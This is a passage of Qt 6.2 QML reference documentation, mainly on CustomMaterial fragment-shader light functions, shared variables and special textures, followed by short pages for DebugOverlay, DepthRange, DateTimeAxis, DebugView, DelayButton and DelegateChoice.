* `void AMBIENT_LIGHT()` When present, this function is called once for each fragment. The task of the function is to add the total ambient contribution to a writable special variable `DIFFUSE`. It can of course choose to calculate a different value, or not touch `DIFFUSE` at all (to ignore ambient lighting completely). When this function is not present at all, the ambient contribution is calculated normally, like a [PrincipledMaterial](qml-qtquick3d-principledmaterial) would do.The function can write to the following special variables:


	+ vec3 `DIFFUSE` Accumulates the diffuse light contributions, per fragment. The light processor functions will typically add (`+=`) to it, since overwriting the value would lose the contribution from other lights.The function can read the following special variables, in addition to the matrix (such as, `MODEL_MATRIX`) and vector (such as, `CAMERA_POSITION`) uniforms from the table above:


	+ vec3 `TOTAL_AMBIENT_COLOR` The total ambient contribution in the scene.Example:

 
```
void AMBIENT_LIGHT()
{
    DIFFUSE += TOTAL_AMBIENT_COLOR;
}
```
* `void DIRECTIONAL_LIGHT()` When present, this function is called for each active directional light in the scene for each fragment. The task of the function is to add the diffuse contribution to a writable special variable `DIFFUSE`. The function can also choose to do nothing, in which case diffuse contributions from directional lights are ignored. When the function is not present at all, the diffuse contributions from directional lights are accumulated normally, like a [PrincipledMaterial](qml-qtquick3d-principledmaterial) would do.The function can write to the following special variables:


	+ vec3 `DIFFUSE` Accumulates the diffuse light contributions, per fragment. The light processor functions will typically add (`+=`) to it, since overwriting the value would lose the contribution from other lights.The function can read the following special variables, in addition to the matrix (such as, `MODEL_MATRIX`) and vector (such as, `CAMERA_POSITION`) uniforms from the table above:


	+ vec3 `LIGHT_COLOR` Diffuse light color.
	+ float `SHADOW_CONTRIB` Shadow contribution, or 1.0 if not shadowed at all or not reciving shadows.
	+ vec3 `TO_LIGHT_DIR` Vector pointing towards the light source.
	+ vec3 `NORMAL` The normal vector in world space.
	+ vec4 `BASE_COLOR` The base color and material alpha value.
	+ float `METALNESS` The Metalness amount.
	+ float `ROUGHNESS` The Roughness amount.Example:

 
```
void DIRECTIONAL_LIGHT()
{
    DIFFUSE += LIGHT_COLOR * SHADOW_CONTRIB * vec3(max(0.0, dot(normalize(VAR_WORLD_NORMAL), TO_LIGHT_DIR)));
}
```
* `void POINT_LIGHT()` When present, this function is called for each active point light in the scene for each fragment. The task of the function is to add the diffuse contribution to a writable special variable `DIFFUSE`. The function can also choose to do nothing, in which case diffuse contributions from point lights are ignored. When the function is not present at all, the diffuse contributions from point lights are accumulated normally, like a [PrincipledMaterial](qml-qtquick3d-principledmaterial) would do.The function can write to the following special variables:


	+ vec3 `DIFFUSE` Accumulates the diffuse light contributions, per fragment.The function can read the following special variables, in addition to the matrix (such as, `MODEL_MATRIX`) and vector (such as, `CAMERA_POSITION`) uniforms from the table above:


	+ vec3 `LIGHT_COLOR` Diffuse light color.
	+ float `LIGHT_ATTENUATION` Light attenuation.
	+ float `SHADOW_CONTRIB` Shadow contribution, or 1.0 if not shadowed at all or not reciving shadows.
	+ vec3 `TO_LIGHT_DIR` Vector pointing towards the light source.
	+ vec3 `NORMAL` The normal vector in world space.
	+ vec4 `BASE_COLOR` The base color and material alpha value.
	+ float `METALNESS` The Metalness amount.
	+ float `ROUGHNESS` The Roughness amount.Example:

 
```
void POINT_LIGHT()
{
    DIFFUSE += LIGHT_COLOR * LIGHT_ATTENUATION * SHADOW_CONTRIB * vec3(max(0.0, dot(normalize(VAR_WORLD_NORMAL), TO_LIGHT_DIR)));
}
```
* `void SPOT_LIGHT()` When present, this function is called for each active spot light in the scene for each fragment. The task of the function is to add the diffuse contribution to a writable special variable `DIFFUSE`. The function can also choose to do nothing, in which case diffuse contributions from spot lights are ignored. When the function is not present at all, the diffuse contributions from spot lights are accumulated normally, like a [PrincipledMaterial](qml-qtquick3d-principledmaterial) would do.The function can write to the following special variables:


	+ vec3 `DIFFUSE` Accumulates the diffuse light contributions, per fragment.The function can read the following special variables, in addition to the matrix (such as, `MODEL_MATRIX`) and vector (such as, `CAMERA_POSITION`) uniforms from the table above:


	+ vec3 `LIGHT_COLOR` Diffuse light color.
	+ float `LIGHT_ATTENUATION` Light attenuation.
	+ float `SHADOW_CONTRIB` Shadow contribution, or 1.0 if not shadowed at all or not reciving shadows.
	+ vec3 `TO_LIGHT_DIR` Vector pointing towards the light source.
	+ float `SPOT_FACTOR` Spot light factor.
	+ vec3 `NORMAL` The normal vector in world space.
	+ vec4 `BASE_COLOR` The base color and material alpha value.
	+ float `METALNESS` The Metalness amount.
	+ float `ROUGHNESS` The Roughness amount.Example:

 
```
void SPOT_LIGHT()
{
    DIFFUSE += LIGHT_COLOR * LIGHT_ATTENUATION * SPOT_FACTOR * SHADOW_CONTRIB * vec3(max(0.0, dot(normalize(VAR_WORLD_NORMAL), TO_LIGHT_DIR)));
}
```
* `void SPECULAR_LIGHT()` When present, this function is called for each active light in the scene for each fragment. The task of the function is to add the specular contribution to a writable special variable `SPECULAR`. The function can also choose to do nothing, in which case specular contributions from lights are ignored. When the function is not present at all, the specular contributions from lights are accumulated normally, like a [PrincipledMaterial](qml-qtquick3d-principledmaterial) would do.The function can write to the following special variables:


	+ vec3 `SPECULAR` Accumulates the specular light contributions, per frament. The light processor functions will typically add (`+=`) to it, since overwriting the value would lose the contribution from other lights.The function can read the following special variables, in addition to the matrix (such as, `MODEL_MATRIX`) and vector (such as, `CAMERA_POSITION`) uniforms from the table above:


	+ vec3 `LIGHT_COLOR` Specular light color.
	+ float `LIGHT_ATTENUATION` Light attenuation. For directional lights the value is 1.0. For spot lights the value is the same as `LIGHT_ATTENUATION * SPOT_FACTOR` of `void SPOT_LIGHT()`.
	+ float `SHADOW_CONTRIB` Shadow contribution, or 1.0 if not shadowed at all or not reciving shadows.
	+ vec3 `FRESNEL_CONTRIB` Fresnel contribution from built in Fresnel calculation.
	+ vec3 `TO_LIGHT_DIR` Vector pointing towards the light source.
	+ vec3 `NORMAL` The normal vector in world space.
	+ vec4 `BASE_COLOR` The base color and material alpha value.
	+ float `METALNESS` The Metalness amount.
	+ float `ROUGHNESS` The Roughness amount.
	+ float `SPECULAR_AMOUNT` The specular amount. This value will be between 0.0 and 1.0 will be the same value set in the custom `MAIN` function. This value will useful for calculating Fresnel contributions when not using the built-in Fresnel contribution provided by `FRESNEL_CONTRIB`.
```
void SPECULAR_LIGHT()
{
    vec3 H = normalize(VIEW_VECTOR + TO_LIGHT_DIR);
    float cosAlpha = max(0.0, dot(H, normalize(NORMAL)));
    float shine = pow(cosAlpha, exp2(15.0 * (1.0 - ROUGHNESS) + 1.0) * 0.25);
    SPECULAR += shine * LIGHT_COLOR * FRESNEL_CONTRIB * SHADOW_CONTRIB * LIGHT_ATTENUATION;
}
```
* `void POST_PROCESS()` When present, this function is called at the end of the fragment pipeline. The task of the function is to finalize `COLOR_SUM` with final diffuse, specular and emissive terms. Unlike `FRAGCOLOR` for a unshaded material, `COLOR_SUM` will be automatically tonemapped before written to the framebuffer. For debugging purposes it is sometimes useful to output a value that should not be treated as a color. To avoid the tonemapping distorting this value it can be disabled by setting the [tonemapMode](qml-qtquick3d-sceneenvironment#tonemapMode-prop) property to `TonemapModeNone`The function can write to the following special variables:


	+ vec4 `COLOR_SUM` the output from the fragment shader. The default value is vec4(DIFFUSE.rgb + SPECULAR + EMISSIVE, DIFFUSE.a)The function can read the following special variables.


	+ vec4 `DIFFUSE` The final diffuse term of the fragment pipeline.
	+ vec3 `SPECULAR` The final specular term of the fragment pipeline.
	+ vec3 `EMISSIVE` The final emissive term of the fragment pipeline.
	+ vec2 `UV0` - The first set of texture coordinates from the vertex shader.
	+ vec2 `UV1` - The second set of texture coordinates from the vertex shader.
```
void POST_PROCESS()
{
    float center_x = textureSize(SCREEN_TEXTURE, 0).x * 0.5;
    if (gl_FragCoord.x > center_x)
        COLOR_SUM = DIFFUSE;
    else
        COLOR_SUM = vec4(EMISSIVE, DIFFUSE.a);
}
```

 ### Custom variables between functions

 Additional variables can be delivered from the MAIN function to the others. The `SHARED_VARS` keyword can be used for defining new custom variables. These user-defined variables can be accessed with SHARED.<variable name>.

 For example, a shaded custom material can fetch a shared value in the MAIN and use it in other functions.

 
```
SHARED_VARS {
    vec3 colorThreshold;
};
void MAIN()
{
    BASE_COLOR = texture(baseColorMap, UV0);
    SHARED.colorThreshold = texture(thresholdMap, UV0).rgb;
}
void DIRECTIONAL_LIGHT()
{
    if (DIFFUSE >= SHARED.colorThreshold) {
        DIFFUSE = SHARED.colorThreshold;
        return;
    }
    DIFFUSE += LIGHT_COLOR * SHADOW_CONTRIB;
}
```
  **Note:** SHARED can be written on all the functions without POST\_PROCESS but it is safe to write it on MAIN and read on the other functions.

   **Note:** A recommended use case to write SHARED on LIGHT functions is reseting it on MAIN first and then accumulating it on each LIGHT functions.

  
```
SHARED_VARS {
    float sheenIntensity;
    float sheenRoughness;
    vec3 sheenColor;
    vec3 outSheenColor;
};
void MAIN()
{
    ...
    vec4 tex = texture(uSheenMap, UV0);
    SHARED.sheenColor = tex.rgb;
    SHARED.sheenIntensity = tex.a;
    SHARED.sheenRoughness = uSheenRoughness;
    SHARED.outSheenColor = vec3(0.0);
}
void SPECULAR_LIGHT()
{
    SHARED.outSheenColor += ...;
}
void POST_PROCESS()
{
    COLOR_SUM = DIFFUSE + SPECULAR + EMISSIVE + SHARED.outSheenColor;
}
```
  **Note:** MAIN is called before others, and POST\_PROCESS after all others, but that there is no guarantee for any other ordering for light processors.

  ### Additional special keywords

 The custom fragment shader code can freely access uniforms (such as, `CAMERA_DIRECTION` or `CAMERA_POSITION`), and varyings passed on from the custom vertex shader. Additionally, there are a number of built-in varyings available as special keywords. Some of these are optional in the sense that a vertex `MAIN` could calculate and pass on these on its own, but to reduce duplicated data fragment shaders can also rely on these built-ins instead. These built-ins are available in light processor functions and in the fragment MAIN.

 * vec3 `VAR_WORLD_NORMAL` - Interpolated normal transformed by `NORMAL_MATRIX`.
* vec3 `VAR_WORLD_TANGENT` - Interpolated tangent transformed by `MODEL_MATRIX`.
* vec3 `VAR_WORLD_BINORMAL` - Interpolated binormal transformed by `MODEL_MATRIX`
* vec3 `NORMAL` - Unlike `VAR_WORLD_NORMAL`, which is the interpolated normal as-is, this value is potentially adjusted for double-sidedness: when rendering with culling disabled, the normal will get inverted as necessary. Therefore lighting and other calculations are recommended to use `NORMAL` instead of `VAR_WORLD_NORMAL` in order behave correctly with all culling modes.
* vec3 `TANGENT` - Like `NORMAL`, this value is potentially adjusted for double-sidedness: when rendering with culling disabled, the tangent will get inverted as necessary.
* vec3 `BINORMAL` - Like `NORMAL`, this value is potentially adjusted for double-sidedness: when rendering with culling disabled, the binormal will get inverted as necessary.
* vec3 `VAR_WORLD_POSITION` - Interpolated world space vertex position (`(MODEL_MATRIX * vec4(VERTEX, 1.0)).xyz`)
* vec4 `VAR_COLOR` - The interpolated vertex color when colors are provided in the mesh. `vec4(1.0)` otherwise.
* vec3 `VIEW_VECTOR` - Points towards the camera. This is effectively the `CAMERA_POSITION - VAR_WORLD_POSITION` vector normalized.
* vec4 `FRAGCOORD` - Contains the window-relative coordinates of the current fragment.
* float `FRAMEBUFFER_Y_UP` - The value is `1` when the Y axis points up in the coordinate system for framebuffers (textures), meaning `(0, 0)` is the bottom-left corner. The value is `-1` when the Y axis points down, `(0, 0)` being the top-left corner. Such differences in the underlying graphics APIs do not concern most custom materials. One notable exception is sampling `SCREEN_TEXTURE` with texture coordinates **not** based on `FRAGCOORD`. As the orientation of `SCREEN_TEXTURE` is tied to the underlying graphics API by nature, using texture coordinates from a mesh may need appropriate adjustments to the Y coordinate.For example, the following fragment shader, suitable for Rectangle or Cube meshes, will display the opaque objects from the scene on the model:

 
```
VARYING vec2 texcoord;
void MAIN()
{
    vec2 screencoord = texcoord;
    if (FRAMEBUFFER_Y_UP < 0.0) // effectively: if not OpenGL
        screencoord.y = 1.0 - screencoord.y;
    BASE_COLOR = texture(SCREEN_TEXTURE, screencoord);
}
```
 When sampling textures other than `SCREEN_TEXTURE` and `DEPTH_TEXTURE`, or when `FRAGCOORD` is used to calculate the texture coordinate (which would be the typical use case for accessing the screen and depth textures), such an adjustment is not necessary.
* float `NDC_Y_UP` - The value is `1` when the Y axis points up in normalized device coordinate space, and `-1` when the Y axis points down. Y pointing down is the case when rendering happens with Vulkan. Most materials do not need to be concerned by this, but being able to branch based on this can become useful in certain advanced use cases.
* float `NEAR_CLIP_VALUE` - The value is `-1` for when the clipping plane range's starts at `-1` and goes to `1`. This is true when using OpenGL for rendering. For other rendering backends the value of this property will be `0` meaning the clipping plane range is `0` to `1`. This value is useful with certain techniques involving the `DEPTH_TEXTURE`For example, the following fragment shader demonstrates a technique for reconstructing the position of a value from the depth buffer to determine the distance from the current position being rendered. When used in combination with `INVERSE_PROJECTION_MATRIX` the value of depth needs to be in normalized device coordinates so it is important to make sure that the range of depth value reflects that. When the `NEAR_CLIP_VALUE` is `-1` then the depth value gets scaled to be between `-1` and `1`.

 
```
void MAIN() {
    vec2 screen_uv = FRAGCOORD.xy / vec2(textureSize(SCREEN_TEXTURE, 0));
    float depth = texture(DEPTH_TEXTURE, screen_uv).r;

    if (NEAR_CLIP_VALUE < 0.0) // effectively: if opengl
        depth = depth * 2.0 - 1.0;

    vec4 unproject = INVERSE_PROJECTION_MATRIX * vec4(screen_uv, depth, 1.0);
    depth = (unproject.xyz / unproject.w).z;
    float viewVectorZ = (VIEW_MATRIX * vec4(VAR_WORLD_POSITION, 1.0)).z;
    depth = viewVectorZ - depth;

    BASE_COLOR = vec4(depth, depth, depth, 1.0);
}
```

 ### Instancing

 When doing instanced rendering, some of the keywords above do not apply. The following keywords are only available with instancing:

 * `INSTANCE_MODEL_MATRIX` -> mat4, replacement for `MODEL_MATRIX`, including the instancing transformation.
* `INSTANCE_MODELVIEWPROJECTION_MATRIX` -> mat4, replacement for `MODELVIEWPROJECTION_MATRIX`, including the instancing transformation.
* `INSTANCE_COLOR` -> vec4, the instance color: to be combined with `COLOR`.
* `INSTANCE_DATA` -> vec4, instance custom data.
* `INSTANCE_INDEX` -> int, the instance number, and index into the instancing table.

 Screen, depth, and other textures
---------------------------------

 The rendering pipeline can expose a number of textures to the custom material shaders with content from special render passes. This applies both to shaded and unshaded custom materials.

 For example, a shader may want access to a depth texture that contains the depth buffer contents for the opaque objects in the scene. This is achieved by sampling `DEPTH_TEXTURE`. Such a texture is not normally generated, unless there is a real need for it. Therefore, the presence of the following keywords in the vertex or fragment shader also acts as a toggle for opting in to the - potentially expensive - passes for generating the texture in question. (of course, it could be that some of these become already enabled due to other settings, such as the ambient occlusion parameters in [SceneEnvironment](qml-qtquick3d-sceneenvironment) or due to a post-processing effect relying on the depth texture, in which case the textures in question are generated regardless of the custom material and so sampling these special textures in the material comes at no extra cost apart from the texture access itself)

 * `SCREEN_TEXTURE` - When present, a texture (sampler2D) with the color buffer from a rendering pass containing the opaque objects in the scene is exposed to the shader under this name. This also implies that any object with a custom material where the shaders sample `SCREEN_TEXTURE` will be treated as if it had semi-transparency enabled on it, even when the object opacity is 1.0 and blending was not enabled on the CustomMaterial. This is because such an object cannot be part of the opaque rendering lists, because it itself depends on the rendering results of those objects and thus cannot be rendered in line together with those. Pixels that are not covered by opaque objects will be set to transparent (`vec4(0.0)`) in the texture. For example, a fragment shader could contain the following:
```
vec2 uv = FRAGCOORD.xy / vec2(textureSize(SCREEN_TEXTURE, 0));
vec2 displace = vec2(0.1);
vec4 c = texture(SCREEN_TEXTURE, uv + displace);
```
 Be aware that using `SCREEN_TEXTURE` requires appropriate, conscious design of the scene. Objects using such materials have to be positioned carefully, typically above all other objects that are expected to be visible in the texture. Objects that employ semi-transparency in some form are never part of the `SCREEN_TEXTURE`. Often `SCREEN_TEXTURE` will be used in combination with `BASE_COLOR` in `MAIN`. For example, the following custom fragment shader applies an emboss effect, while keeping fragments not touched by opaque objects transparent. This assumes that the object with the material is placed in the front, and that it has blending enabled.

 
```
void MAIN()
{
    vec2 size = vec2(textureSize(SCREEN_TEXTURE, 0));
    vec2 uv = FRAGCOORD.xy / size;

    // basic emboss effect
    vec2 d = vec2(1.0 / size.x, 1.0 / size.y);
    vec4 diff = texture(SCREEN_TEXTURE, uv + d) - texture(SCREEN_TEXTURE, uv - d);
    float c = (diff.x + diff.y + diff.z) + 0.5;

    float alpha = texture(SCREEN_TEXTURE, uv).a;
    BASE_COLOR = vec4(vec3(c), alpha);
}
```
* `SCREEN_MIP_TEXTURE` - Identical to `SCREEN_TEXTURE` in most ways, the difference being that this texture has mipmaps generated. This can be an expensive feature performance-wise, depending on the screen size, and due to having to generate the mipmaps every time the scene is rendered. Therefore, prefer using `SCREEN_TEXTURE` always, unless a technique relying on the texture mip levels (e.g. using `textureLod` in the shader) is implemented by the custom material.
* `DEPTH_TEXTURE` - When present, a texture (sampler2D) with the (non-linearized) depth buffer contents is exposed to the shader under this name. Only opaque objects are included. For example, a fragment shader could contain the following:
```
ivec2 dtSize = textureSize(DEPTH_TEXTURE, 0);
vec2 dtUV = (FRAGCOORD.xy) / vec2(dtSize);
vec4 depthSample = texture(DEPTH_TEXTURE, dtUV);
float zNear = CAMERA_PROPERTIES.x;
float zFar = CAMERA_PROPERTIES.y;
float zRange = zFar - zNear;
float z_n = 2.0 * depthSample.r - 1.0;
float d = 2.0 * zNear * zFar / (zFar + zNear - z_n * zRange);
d /= zFar;
```
* `AO_TEXTURE` - When present and screen space ambient occlusion is enabled (meaning when the AO strength and distance are both non-zero) in [SceneEnvironment](qml-qtquick3d-sceneenvironment), the SSAO texture (sampler2D) is exposed to the shader under this name. Sampling this texture can be useful in unshaded materials. Shaded materials have ambient occlusion support built in. This means that the ambient occlusion factor is taken into account automatically. Whereas in a fragment shader for an unshaded material one could write the following to achieve the same:
```
ivec2 aoSize = textureSize(AO_TEXTURE, 0);
vec2 aoUV = (FRAGCOORD.xy) / vec2(aoSize);
float aoFactor = texture(AO_TEXTURE, aoUV).x;
```

 **See also** [SceneEnvironment::tonemapMode](qml-qtquick3d-sceneenvironment#tonemapMode-prop), [Qt Quick 3D - Custom Shaders Example](https://doc.qt.io/qt-6.2/qtquick3d-customshaders-example.html), [Qt Quick 3D - Custom Materials Example](https://doc.qt.io/qt-6.2/qtquick3d-custommaterial-example.html), and [Programmable Materials, Effects, Geometry, and Texture data](qtquick3d-custom).

 Property Documentation
----------------------

 ###  alwaysDirty : [bool](qml-bool)

 Specifies that the material state is always dirty, which indicates that the material needs to be refreshed every time it is used by the [QtQuick3D](https://doc.qt.io/qt-6.2/qtquick3d-qmlmodule.html).

 ###  destinationBlend : [enumeration](qml-enumeration)

 Specifies the destination blend factor. The default value is `CustomMaterial.NoBlend`.

 

| Constant | Value |
| --- | --- |
| `CustomMaterial.NoBlend` |
| `CustomMaterial.Zero` |
| `CustomMaterial.One` |
| `CustomMaterial.SrcColor` |
| `CustomMaterial.OneMinusSrcColor` |
| `CustomMaterial.DstColor` |
| `CustomMaterial.OneMinusDstColor` |
| `CustomMaterial.SrcAlpha` |
| `CustomMaterial.OneMinusSrcAlpha` |
| `CustomMaterial.DstAlpha` |
| `CustomMaterial.OneMinusDstAlpha` |
| `CustomMaterial.ConstantColor` |
| `CustomMaterial.OneMinusConstantColor` |
| `CustomMaterial.ConstantAlpha` |
| `CustomMaterial.OneMinusConstantAlpha` |
| `CustomMaterial.SrcAlphaSaturate` |

 ###  fragmentShader : [url](qml-url)

 Specfies the file with the snippet of custom fragment shader code.

 The value is a URL and must either be a local file or use the qrc scheme to access files embedded via the Qt resource system. Relative file paths (without a scheme) are also accepted, in which case the file is treated as relative to the component (the `.qml` file).

 **See also** [vertexShader](qml-qtquick3d-custommaterial#vertexShader-prop).

 ###  lineWidth : [real](qml-real)

 This property determines the width of the lines rendered, when the geometry is using a primitive type of lines or line strips. The default value is 1.0. This property is not relevant when rendering other types of geometry, such as, triangle meshes.

  **Warning:** Line widths other than 1 may not be suported at run time, depending on the underlying graphics API. When that is the case, the request to change the width is ignored. For example, none of the following can be expected to support wide lines: Direct3D, Metal, OpenGL with core profile contexts.

   **Note:** Unlike the line width, the value of which is part of the graphics pipeline object, the point size for geometries with a topology of points is controlled by the vertex shader (when supported), and has therefore no corresponding QML property.

  ###  shadingMode : [enumeration](qml-enumeration)

 Specifies the type of the material. The default value is Shaded.

 

| Constant | Value |
| --- | --- |
| `CustomMaterial.Unshaded` |
| `CustomMaterial.Shaded` |

 ###  sourceBlend : [enumeration](qml-enumeration)

 Specifies the source blend factor. The default value is `CustomMaterial.NoBlend`.

 

| Constant | Value |
| --- | --- |
| `CustomMaterial.NoBlend` |
| `CustomMaterial.Zero` |
| `CustomMaterial.One` |
| `CustomMaterial.SrcColor` |
| `CustomMaterial.OneMinusSrcColor` |
| `CustomMaterial.DstColor` |
| `CustomMaterial.OneMinusDstColor` |
| `CustomMaterial.SrcAlpha` |
| `CustomMaterial.OneMinusSrcAlpha` |
| `CustomMaterial.DstAlpha` |
| `CustomMaterial.OneMinusDstAlpha` |
| `CustomMaterial.ConstantColor` |
| `CustomMaterial.OneMinusConstantColor` |
| `CustomMaterial.ConstantAlpha` |
| `CustomMaterial.OneMinusConstantAlpha` |
| `CustomMaterial.SrcAlphaSaturate` |

 ###  vertexShader : [url](qml-url)

 Specfies the file with the snippet of custom vertex shader code.

 The value is a URL and must either be a local file or use the qrc scheme to access files embedded via the Qt resource system. Relative file paths (without a scheme) are also accepted, in which case the file is treated as relative to the component (the `.qml` file).

 **See also** [fragmentShader](qml-qtquick3d-custommaterial#fragmentShader-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-custommaterial.html>

DebugOverlay QML Type
=====================

 Enables a visual overlay with scene details. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Instantiates: | [QDebugOverlay](qt3drender-qdebugoverlay) |
|  Inherits: | [FrameGraphNode](qml-qt3d-render-framegraphnode) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-debugoverlay-members.html)

 Detailed Description
--------------------

 Placing a DebugOverlay in one branch of a custom framegraph will cause an overlay with scene details to be rendered along with the scene.

 The standard [ForwardRenderer](qml-qt3d-extras-forwardrenderer) includes a DebugOverlay node that can be enabled via the [ForwardRenderer::showDebugOverlay](qml-qt3d-extras-forwardrenderer#showDebugOverlay-prop) property.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-debugoverlay.html>

DepthRange QML Type
===================

 Enables remapping depth values written into the depth buffer. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.14 |
|  Instantiates: | [QDepthRange](qt3drender-qdepthrange) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-depthrange-members.html)

 Detailed Description
--------------------

 By default, OpenGL writes scene depth information into the depth buffer in the range [0.0, 1.0] corresponding to the near and far clip planes. QDepthRange allows mapping these values into a different range. For example setting the range [0.0, 0.5] will map the rendered scene into the depth buffer such that objects at the near clip plane have depth value of 0.0 and objects at the far clip plane have a depth value of 0.5. This allows rendering parts of the scene always in front of or behind other parts.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-depthrange.html>

DateTimeAxis QML Type
=====================

 Adds dates and times to a chart's axis. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtCharts |
|  Instantiates: | [QDateTimeAxis](qdatetimeaxis) |
|  Inherits: | [AbstractAxis](qml-qtcharts-abstractaxis) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtcharts-datetimeaxis-members.html)

 Properties
----------

 * **[format](qml-qtcharts-datetimeaxis#format-prop)** : string
* **[max](qml-qtcharts-datetimeaxis#max-prop)** : datetime
* **[min](qml-qtcharts-datetimeaxis#min-prop)** : datetime
* **[tickCount](qml-qtcharts-datetimeaxis#tickCount-prop)** : int

 Methods
-------

 * **[rangeChanged](qml-qtcharts-datetimeaxis#rangeChanged-method)**(datetime *min*, datetime *max*)

 Detailed Description
--------------------

 The DateTimeAxis type can be set up to show an axis line with tick marks, grid lines, and shades. The axis labels display dates and times and can be configured by setting an appropriate DateTime format.

  **Note:** Any date before 4714 BCE or after about 1.4 million CE may not be accurately stored.

  Property Documentation
----------------------

 ###  format : [string](qml-string)

 The format string that is used when creating the label for the axis out of a [QDateTime](qdatetime) object. See [QDateTime](qdatetime) documentation for information on how the string should be defined.

 ###  max : datetime

 The maximum value on the axis.

 When setting this property, the minimum value is adjusted if necessary, to ensure that the range remains valid.

 ###  min : datetime

 The minimum value on the axis.

 When setting this property, the maximum value is adjusted if necessary, to ensure that the range remains valid.

 ###  tickCount : [int](qml-int)

 The number of tick marks on the axis.

 Method Documentation
--------------------

 ###  rangeChanged(datetime *min*, datetime *max*)

 This signal is emitted when the minimum or maximum value of the axis, specified by *min* and *max*, changes.

 The corresponding signal handler is `onRangeChanged()`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtcharts-datetimeaxis.html>

DebugView QML Type
==================

 View to show render statistics. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Helpers |
|  Inherits: | [Rectangle](qml-qtquick-rectangle) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-helpers-debugview-members.html)

 Properties
----------

 * **[source](qml-qtquick3d-helpers-debugview#source-prop)** : var

 Detailed Description
--------------------

 This helper allows viewing render performance statistics of a [View3D](qml-qtquick3d-view3d). It shows the FPS, sync and render times.

 For example, the following snippet shows how a DebugView can be added that shows its information in the top-left corner of the Qt Quick scene:

 
```
View3D {
    id: v3d
    anchors.fill: parent
    camera: camera
    PerspectiveCamera {
        id: camera
        position: Qt.vector3d(0, 0, 600)
    }
    ...
}
DebugView {
    source: v3d
}
```
 Property Documentation
----------------------

 ###  source : [var](qml-var)

 Specifies the source [View3D](qml-qtquick3d-view3d) to show the statistics from.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-helpers-debugview.html>

DelayButton QML Type
====================

 Check button that triggers when held down long enough. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.9 |
|  Inherits: | [AbstractButton](qml-qtquick-controls2-abstractbutton) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-delaybutton-members.html)

 Properties
----------

 * **[delay](qml-qtquick-controls2-delaybutton#delay-prop)** : int
* **[progress](qml-qtquick-controls2-delaybutton#progress-prop)** : real
* **[transition](qml-qtquick-controls2-delaybutton#transition-prop)** : Transition

 Signals
-------

 * **[activated](qml-qtquick-controls2-delaybutton#activated-signal)**()

 Detailed Description
--------------------


    ![]  
DelayButton is a checkable button that incorporates a delay before the button becomes [checked](qml-qtquick-controls2-abstractbutton#checked-prop) and the [activated](qml-qtquick-controls2-delaybutton#activated-signal)() signal is emitted. This delay prevents accidental presses.

 The current progress is expressed as a decimal value between `0.0` and `1.0`. The time it takes for [activated](qml-qtquick-controls2-delaybutton#activated-signal)() to be emitted is measured in milliseconds, and can be set with the [delay](qml-qtquick-controls2-delaybutton#delay-prop) property.

 The progress is indicated by a progress indicator on the button.

 **See also** [Customizing DelayButton](qtquickcontrols2-customize#customizing-delaybutton) and [Button Controls](qtquickcontrols2-buttons).

 Property Documentation
----------------------

 ###  delay : [int](qml-int)

 This property holds the time it takes (in milliseconds) for [progress](qml-qtquick-controls2-delaybutton#progress-prop) to reach `1.0` and emit [activated](qml-qtquick-controls2-delaybutton#activated-signal)().

 The default value is `3000` ms.

 ###  [read-only] progress : [real](qml-real)

 This property holds the current progress as displayed by the progress indicator, in the range `0.0` - `1.0`.

 ###  transition : [Transition](qml-qtquick-transition)

 This property holds the transition that is applied on the [progress](qml-qtquick-controls2-delaybutton#progress-prop) property when the button is pressed or released.

 Signal Documentation
--------------------

 ###  activated()

 This signal is emitted when [progress](qml-qtquick-controls2-delaybutton#progress-prop) reaches `1.0`.

 **Note:** The corresponding handler is `onActivated`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-delaybutton.html>

DelegateChoice QML Type
=======================

 Encapsulates a delegate and when to use it. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt.labs.qmlmodels |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt-labs-qmlmodels-delegatechoice-members.html)

 Properties
----------

 * **[column](qml-qt-labs-qmlmodels-delegatechoice#column-prop)** : int
* **[delegate](qml-qt-labs-qmlmodels-delegatechoice#delegate-prop)** : Component
* **[index](qml-qt-labs-qmlmodels-delegatechoice#index-prop)** : int
* **[roleValue](qml-qt-labs-qmlmodels-delegatechoice#roleValue-prop)** : variant
* **[row](qml-qt-labs-qmlmodels-delegatechoice#row-prop)** : int

 Detailed Description
--------------------

 The DelegateChoice type wraps a delegate and defines the circumstances in which it should be chosen.

 DelegateChoices can be nested inside a [DelegateChooser](qml-qt-labs-qmlmodels-delegatechooser).

 **See also** [DelegateChooser](qml-qt-labs-qmlmodels-delegatechooser).

 Property Documentation
----------------------

 ###  column : [int](qml-int)

 This property holds the value used to match the column value of model elements.

 ###  delegate : Component

 This property holds the delegate to use if this choice matches the model item.

 ###  index : [int](qml-int)

 This property holds the value used to match the index value of model elements. This is effectively an alias for [row](qml-qt-labs-qmlmodels-delegatechoice#row-prop).

